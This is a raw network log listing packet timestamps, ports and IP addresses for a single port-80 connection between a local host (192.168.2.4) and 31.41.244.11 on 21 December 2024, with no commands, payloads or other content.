Dec 21, 2024 10:15:17.905741930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.905797005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.905869007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.905930996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.907639980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.907696962 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.907756090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.907823086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.909537077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.909604073 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.909610987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.909692049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.911386967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.911438942 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.911490917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.911576986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.913160086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.913223028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.913305998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.913398027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.915004015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.915118933 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.915201902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.915257931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.916862011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.916917086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.917001009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.917053938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.918785095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.918864012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.918879986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.918968916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.920566082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.920628071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.920670033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.920726061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.922482014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.922538996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:17.922631025 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:17.922683954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.031157017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.031210899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.031287909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.031338930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.031593084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.031651974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.031742096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.031797886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.032983065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.033037901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.033085108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.033195019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.034590006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.034674883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.034706116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.034760952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.036115885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.036170959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.036242008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.036298990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.037734985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.037792921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.037817955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.037858963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.039208889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.039273977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.039350033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.039499044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.040718079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.040775061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.040858030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.040910959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.042201042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.042254925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.042355061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.042412043 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.043654919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.043759108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.043790102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.043935061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.045150042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.045203924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.045222998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.045260906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.046581030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.046636105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.046699047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.046751976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.048018932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.048074007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.048098087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.048130989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.049381018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.049439907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.049488068 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.049539089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.050805092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.050900936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.050983906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.051043987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.052467108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.052526951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.052598000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.053622961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.053675890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.053803921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.053862095 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.055109024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.055145025 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.055157900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.055190086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.056515932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.056576014 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.056634903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.056690931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.057914972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.057967901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.058063984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.058119059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.059382915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.059434891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.059465885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.059516907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.060744047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.060864925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.060873032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.060926914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.062196970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.062263012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.062323093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.062388897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.063611984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.063699007 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.063807964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.063893080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.064979076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.065030098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.065114975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.065175056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.066426039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.066487074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.066550970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.066684008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.067858934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.067918062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.067982912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.068037987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.069294930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.069387913 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.069458008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.069519997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.070672035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.070729017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.070827007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.070883036 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.072151899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.072243929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.072251081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.072298050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.073563099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.073626995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.073709965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.073811054 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.074915886 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.075022936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.075058937 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.075120926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.076411963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.076469898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.076528072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.076584101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.077824116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.077966928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.077967882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.078023911 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.079252005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.079308033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.079395056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.079458952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.080754995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.080807924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.080928087 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.080991030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.082066059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.082122087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.082241058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.082299948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.083435059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.083496094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.083580017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.083755016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.084846020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.084909916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.084994078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.085050106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.086283922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.086342096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.086378098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.086452961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.087728977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.087788105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.087829113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.087915897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.089121103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.089181900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.089267969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.089344025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.090540886 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.090598106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.090670109 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.090724945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.091986895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.092048883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.092091084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.092145920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.093425035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.093519926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.093545914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.093611956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.094989061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.095043898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.095081091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.095134974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.096255064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.096326113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.096350908 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.096412897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.097692966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.097801924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.097877026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.099201918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.099258900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.099280119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.099348068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.100574970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.100609064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.100650072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.100682974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.102041006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.102076054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.102101088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.102143049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.103384018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.103441000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.103523016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.103578091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.104835033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.104962111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.104968071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.105057955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.223274946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.223359108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.223404884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.223462105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.223834991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.223921061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.223975897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.225055933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.225122929 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.225208998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.225344896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.226279020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.226347923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.226418018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.226464033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.227530003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.227582932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.227617979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.227649927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.228714943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.228852034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.228905916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.230035067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.230139017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.230215073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.231182098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.231246948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.231342077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.231391907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.232280970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.232350111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.232422113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.232492924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.233551979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.233619928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.233645916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.233740091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.234745026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.234837055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.234838963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.234932899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.236041069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.236076117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.236109972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.236160040 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.237226963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.237284899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.237356901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.237421989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.238312960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.238485098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.238562107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.239525080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.239590883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.239670038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.240712881 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.240792990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.240822077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.241131067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.241924047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.242039919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.242103100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.243195057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.243258953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.243364096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.244323015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.244467020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.244534969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.245528936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.245575905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.245635986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.245702028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.246764898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.246864080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.246887922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.246942997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.247924089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.248061895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.248136044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.249157906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.249253988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.249310970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.250389099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.250446081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.250477076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.250533104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.251610041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.251708031 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.251709938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.251866102 CET	49781	80	192.168.2.4	31.41.244.11
